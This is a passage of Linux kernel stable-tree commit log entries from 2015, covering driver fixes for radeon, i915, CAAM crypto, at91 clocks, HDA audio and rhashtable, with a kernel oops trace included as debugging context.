ProdID=e076 Rev= 0.01 C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none) E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none) E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms I: If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none) E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms I: If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none) E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms I: If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none) E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms I: If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none) E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms I: If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none) E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms Signed-off-by: Dmitry Tunin Signed-off-by: Marcel Holtmann Cc: stable@vger.kernel.org Signed-off-by: Sasha Levin commit 268c4693e3431ad7dd25ef8e50742cbfb1badd73 Author: Christian König Date: Mon Apr 27 17:04:35 2015 +0200 drm/radeon: reset BOs address after clearing it. [ Upstream commit 48afbd70ac7b6aa62e8d452091023941d8085f8a ] Otherwise it is possible that we will have page table corruption if we change a BOs address multiple times. Signed-off-by: Christian König CC: stable@vger.kernel.org Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit 92e022e63b29ec2564e3a5c2a6294bb3389f8c72 Author: Christian König Date: Mon Apr 27 17:04:34 2015 +0200 drm/radeon: fix lockup when BOs aren't part of the VM on release [ Upstream commit 26d4d129b6042197b4cbc8341c0618f99231af2f ] If we unmap BOs before releasing them them the intervall tree locks up because we try to remove an entry not inside the tree. Based on a patch from Michel Dänzer. Signed-off-by: Christian König CC: stable@vger.kernel.org Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit c46ed6527b0fbebabb494a648e1d8ec0dee8e0d8 Author: Michel Dänzer Date: Tue Jun 16 17:28:16 2015 +0900 drm/radeon: Add RADEON_INFO_VA_UNMAP_WORKING query [ Upstream commit 3bc980bf19bb62007e923691fa2869ba113be895 ] This tells userspace that it's safe to use the RADEON_VA_UNMAP operation of the DRM_RADEON_GEM_VA ioctl. Cc: stable@vger.kernel.org (NOTE: Backporting this commit requires at least backports of commits 26d4d129b6042197b4cbc8341c0618f99231af2f, 48afbd70ac7b6aa62e8d452091023941d8085f8a and c29c0876ec05d51a93508a39b90b92c29ba6423d as well, otherwise using RADEON_VA_UNMAP runs into trouble) Signed-off-by: Michel Dänzer Signed-off-by: Christian König Signed-off-by: Sasha Levin commit c73e05a513216291a0d0183110dfee347e6188ff Author: Adam Jackson Date: Mon Jun 15 16:16:15 2015 -0400 drm/mgag200: Reject non-character-cell-aligned mode widths [ Upstream commit 25161084b1c1b0c29948f6f77266a35f302196b7 ] Turns out 1366x768 does not in fact work on this hardware. Signed-off-by: Adam Jackson Cc: stable@vger.kernel.org Signed-off-by: Dave Airlie Signed-off-by: Sasha Levin commit fc9a24b42d2da53dfc4c08d7de126bef53204fa8 Author: Sagi Grimberg Date: Thu Jun 4 19:49:19 2015 +0300 iser-target: Fix variable-length response error completion [ Upstream commit 9253e667ab50fd4611a60e1cdd6a6e05a1d91cf1 ] Since commit "2426bd456a6 target: Report correct response ..." we might get a command with data_size that does not fit to the number of allocated data sg elements. Given that we rely on cmd t_data_nents which might be different than the data_size, we sometimes receive local length error completion. The correct approach would be to take the command data_size into account when constructing the ib sg_list. Signed-off-by: Sagi Grimberg Signed-off-by: Jenny Falkovich Cc: stable@vger.kernel.org # 3.16+ Signed-off-by: Nicholas Bellinger Signed-off-by: Sasha Levin commit 61947e8d6cd106f7208d0fa1ec736c2629c7d035 Author: Hui Wang Date: Mon Jun 15 17:43:39 2015 +0800 ALSA: hda - adding a DAC/pin preference map for a HP Envy TS machine [ Upstream commit 6ab42ff44864d26e8e498b8ac655d24ee389d267 ] On a HP Envy TouchSmart laptop, there are 2 speakers (main speaker and subwoofer speaker), 1 headphone and 2 DACs, without this fixup, the headphone will be assigned to a DAC and the 2 speakers will be assigned to another DAC, this assignment makes the surround-2.1 channels invalid. To fix it, here using a DAC/pin preference map to bind the main speaker to 1 DAC and the subwoofer speaker will be assigned to another DAC. Cc: Signed-off-by: Hui Wang Signed-off-by: Takashi Iwai Signed-off-by: Sasha Levin commit eb01a7c90ac8c95feca00284a9256da44d7ccca2 Author: Nicolas Ferre Date: Thu May 28 15:07:21 2015 +0200 clk: at91: fix h32mx prototype inclusion in pmc header [ Upstream commit 28df9c2fb6f896179fcffd5a3f5a86e2d1dff0a5 ] Trivial fix that prevents to compile this pmc clock driver if h32mx clock is present but smd clock isn't. Signed-off-by: Nicolas Ferre Signed-off-by: Boris Brezillon Acked-by: Alexandre Belloni Fixes: bcc5fd49a0fd ("clk: at91: add a driver for the h32mx clock") Cc: # 3.18+ Signed-off-by: Sasha Levin commit 66b03714fea97e8795f3eee6102db1f9a876d228 Author: Boris Brezillon Date: Fri Mar 27 23:53:15 2015 +0100 clk: at91: pll: fix input range validity check [ Upstream commit 6c7b03e1aef2e92176435f4fa562cc483422d20f ] The PLL impose a certain input range to work correctly, but it appears that this input range does not apply on the input clock (or parent clock) but on the input clock after it has passed the PLL divisor. Fix the implementation accordingly. Cc: # v3.14+ Signed-off-by: Boris Brezillon Reported-by: Jonas Andersson Signed-off-by: Sasha Levin commit 6429e7067cf74aba03bf368e2edb9756cc76b0ee Author: Steve Cornelius Date: Mon Jun 15 16:52:59 2015 -0700 crypto: caam - fix RNG buffer cache alignment [ Upstream commit 412c98c1bef65fe7589f1300e93735d96130307c ] The hwrng output buffers (2) are cast inside of a a struct (caam_rng_ctx) allocated in one DMA-tagged region. While the kernel's heap allocator should place the overall struct on a cacheline aligned boundary, the 2 buffers contained within may not necessarily align. Consenquently, the ends of unaligned buffers may not fully flush, and if so, stale data will be left behind, resulting in small repeating patterns. This fix aligns the buffers inside the struct. Note that not all of the data inside caam_rng_ctx necessarily needs to be DMA-tagged, only the buffers themselves require this. However, a fix would incur the expense of error-handling bloat in the case of allocation failure. Cc: stable@vger.kernel.org Signed-off-by: Steve Cornelius Signed-off-by: Victoria Milhoan Signed-off-by: Herbert Xu Signed-off-by: Sasha Levin commit 431685c80c5c8d465879177f18ba132f202ab87e Author: Steve Cornelius Date: Mon Jun 15 16:52:56 2015 -0700 crypto: caam - improve initalization for context state saves [ Upstream commit 6fd4b15603124c1b56e03db29b41ec39d8a077b9 ] Multiple function in asynchronous hashing use a saved-state block, a.k.a. struct caam_hash_state, which holds a stash of information between requests (init/update/final). Certain values in this state block are loaded for processing using an inline-if, and when this is done, the potential for uninitialized data can pose conflicts. Therefore, this patch improves initialization of state data to prevent false assignments using uninitialized data in the state block. This patch addresses the following traceback, originating in ahash_final_ctx(), although a problem like this could certainly exhibit other symptoms: kernel BUG at arch/arm/mm/dma-mapping.c:465! Unable to handle kernel NULL pointer dereference at virtual address 00000000 pgd = 80004000 [00000000] *pgd=00000000 Internal error: Oops: 805 [#1] PREEMPT SMP Modules linked in: CPU: 0 Not tainted (3.0.15-01752-gdd441b9-dirty #40) PC is at __bug+0x1c/0x28 LR is at __bug+0x18/0x28 pc : [<80043240>] lr : [<8004323c>] psr: 60000013 sp : e423fd98 ip : 60000013 fp : 0000001c r10: e4191b84 r9 : 00000020 r8 : 00000009 r7 : 88005038 r6 : 00000001 r5 : 2d676572 r4 : e4191a60 r3 : 00000000 r2 : 00000001 r1 : 60000093 r0 : 00000033 Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment kernel Control: 10c53c7d Table: 1000404a DAC: 00000015 Process cryptomgr_test (pid: 1306, stack limit = 0xe423e2f0) Stack: (0xe423fd98 to 0xe4240000) fd80: 11807fd1 80048544 fda0: 88005000 e4191a00 e5178040 8039dda0 00000000 00000014 2d676572 e4191008 fdc0: 88005018 e4191a60 00100100 e4191a00 00000000 8039ce0c e423fea8 00000007 fde0: e4191a00 e4227000 e5178000 8039ce18 e419183c 80203808 80a94a44 00000006 fe00: 00000000 80207180 00000000 00000006 e423ff08 00000000 00000007 e5178000 fe20: e41918a4 80a949b4 8c4844e2 00000000 00000049 74227000 8c4844e2 00000e90 fe40: 0000000e 74227e90 ffff8c58 80ac29e0 e423fed4 8006a350 8c81625c e423ff5c fe60: 00008576 e4002500 00000003 00030010 e4002500 00000003 e5180000 e4002500 fe80: e5178000 800e6d24 007fffff 00000000 00000010 e4001280 e4002500 60000013 fea0: 000000d0 804df078 00000000 00000000 00000000 00000000 00000000 00000000 fec0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 fee0: 00000000 00000000 e4227000 e4226000 e4753000 e4752000 e40a5000 e40a4000 ff00: e41e7000 e41e6000 00000000 00000000 00000000 e423ff14 e423ff14 00000000 ff20: 00000400 804f9080 e5178000 e4db0b40 00000000 e4db0b80 0000047c 00000400 ff40: 00000000 8020758c 00000400 ffffffff 0000008a 00000000 e4db0b40 80206e00 ff60: e4049dbc 00000000 00000000 00000003 e423ffa4 80062978 e41a8bfc 00000000 ff80: 00000000 e4049db4 00000013 e4049db0 00000013 00000000 00000000 00000000 ffa0: e4db0b40 e4db0b40 80204cbc 00000013 00000000 00000000 00000000 80204cfc ffc0: e4049da0 80089544 80040a40 00000000 e4db0b40 00000000 00000000 00000000 ffe0: e423ffe0 e423ffe0 e4049da0 800894c4 80040a40 80040a40 00000000 00000000 [<80043240>] (__bug+0x1c/0x28) from [<80048544>] (___dma_single_dev_to_cpu+0x84) [<80048544>] (___dma_single_dev_to_cpu+0x84/0x94) from [<8039dda0>] (ahash_fina) [<8039dda0>] (ahash_final_ctx+0x180/0x428) from [<8039ce18>] (ahash_final+0xc/0) [<8039ce18>] (ahash_final+0xc/0x10) from [<80203808>] (crypto_ahash_op+0x28/0xc) [<80203808>] (crypto_ahash_op+0x28/0xc0) from [<80207180>] (test_hash+0x214/0x5) [<80207180>] (test_hash+0x214/0x5b8) from [<8020758c>] (alg_test_hash+0x68/0x8c) [<8020758c>] (alg_test_hash+0x68/0x8c) from [<80206e00>] (alg_test+0x7c/0x1b8) [<80206e00>] (alg_test+0x7c/0x1b8) from [<80204cfc>] (cryptomgr_test+0x40/0x48) [<80204cfc>] (cryptomgr_test+0x40/0x48) from [<80089544>] (kthread+0x80/0x88) [<80089544>] (kthread+0x80/0x88) from [<80040a40>] (kernel_thread_exit+0x0/0x8) Code: e59f0010 e1a01003 eb126a8d e3a03000 (e5833000) ---[ end trace d52a403a1d1eaa86 ]--- Cc: stable@vger.kernel.org Signed-off-by: Steve Cornelius Signed-off-by: Victoria Milhoan Signed-off-by: Herbert Xu Signed-off-by: Sasha Levin commit fcd7e9af33132c0ca397bba35b8ca58d54548127 Author: Konstantin Khlebnikov Date: Fri Jun 26 13:48:17 2015 +0300 lib/rhashtable: fix race between rhashtable_lookup_compare and hashtable resize Hash value passed as argument into rhashtable_lookup_compare could be computed using different hash table than rhashtable_lookup_compare sees. This patch passes key into rhashtable_lookup_compare() instead of hash and compures hash value right in place using the same table as for lookup. Also it adds comment for rhashtable_hashfn and rhashtable_obj_hashfn: user must prevent concurrent insert/remove otherwise returned hash value could be invalid. Signed-off-by: Konstantin Khlebnikov Fixes: e341694e3eb5 ("netlink: Convert netlink_lookup() to use RCU protected hash table") Link: http://lkml.kernel.org/r/20150514042151.GA5482@gondor.apana.org.au Cc: Stable (v3.17 .. v3.19) Signed-off-by: Sasha Levin commit b038a2030b947dbe3cd1e16e116a8fc2b7c54d3d Author: Frank Praznik Date: Wed Nov 12 14:52:28 2014 -0500 HID: sony: Add support for the third-party SMK PS3 Bluetooth Remote [ Upstream commit 68a49e51a4a9c500d950f893f1758c5ac13b7c8b ] Add vid/pid for the SMK branded third-party PS3 Bluetooth remote and enable support in the hid-sony driver. Signed-off-by: Frank Praznik Signed-off-by: Jiri Kosina Signed-off-by: Sasha Levin commit fe206a6be117996c44827f866406b789dacf8e39 Author: Kenneth Graunke Date: Wed Dec 31 16:23:00 2014 -0800 drm/i915: Make sample_c messages go faster on Haswell. [ Upstream commit 944115934436b1ff6cf773a9e9123858ea9ef3da ] Haswell significantly improved the performance of sampler_c messages, but the optimization appears to be off by default. Later platforms remove this bit, and apparently always enable the optimization. Improves performance in "Counter Strike: Global Offensive" by 18% at default settings on Iris Pro. This may break sampling of paletted formats (P8/A8P8/P8A8). It's unclear whether it affects sampling of paletted formats in general, or just the sample_c message (which is never used). While libva does have support for using paletted formats (primarily for OSDs), that support appears to have been broken for at least a year, so I couldn't observe a regression from this: I tried to get libva-intel to use paletted formats, and observe a regression...but the only thing I found that used it was mplayer's OSD (on screen display). Even without my patch, the colors were totally wrong with that, and it's according to a few distro wikis, that's been the case for over a year. If libva's code for paletted formats /is/ broken, they could always add code to disable this bit using the command validator when fixing it. Further investigation from Haihao shows that libva mplayer OSD seems to work at least on his setup (still unclear what's wron with Ken's), and that it's not affected by this patch. Quoting the discussion between Haihao and Ken: > > > If you use "-vo gl" or "-vo xv", the OSD is solid white text with a black > > > border around it. I presume that it's supposed to be white with vaapi as > > > well, but I guess I'm not entirely sure. > > > > > > It's possible that the optimization doesn't affect the palette as long as > > > you never use sample_c with the paletted textures. > > > > I verified the palette takes effect in the following way: > > > > 1. Only support P8A8 format in the driver > > > > 2. ran the above command and I saw white OSD text > > > > 3. Only support P4A4 format in the driver and don't use > > 3DSTATE_SAMPLER_PALETTE_LOAD0 to load the value to the texture palette, > > so the palette keeps unchanged. > > > > 4. ran the above command and I saw black OSD text. > > > > 5. Load the right value to the texture palette and ran the above command > > again, I saw white OSD text. > > > > Hence I think sample_c with the paletted textures is used in the driver. > > That sounds like the palette is actually working, then. Great :) > > I doubt that libva would use sample_c - sampling with a shadow comparison? > It looks like it just uses sample and sample+killpix. You are right, libva driver doesn't use sample_c message. > I'm pretty sure the sample_c optimization just uses the palette memory as > storage for some stuff, so it's quite possible it just works if you're > only using sample and sample+killpix. Thanks for the explanation, it makes sense to me. Signed-off-by: Kenneth Graunke [danvet: Add wa name from Ville's review to the comment and copypaste the explanation why we don't care about libva (already broken) from Ken. Also add conclusion from libva devs that&why this is all fine.] Reviewed-by: Ville Syrjälä Cc: "Xiang, Haihao" Cc: libva@lists.freedesktop.org Signed-off-by: Daniel Vetter Signed-off-by: Sasha Levin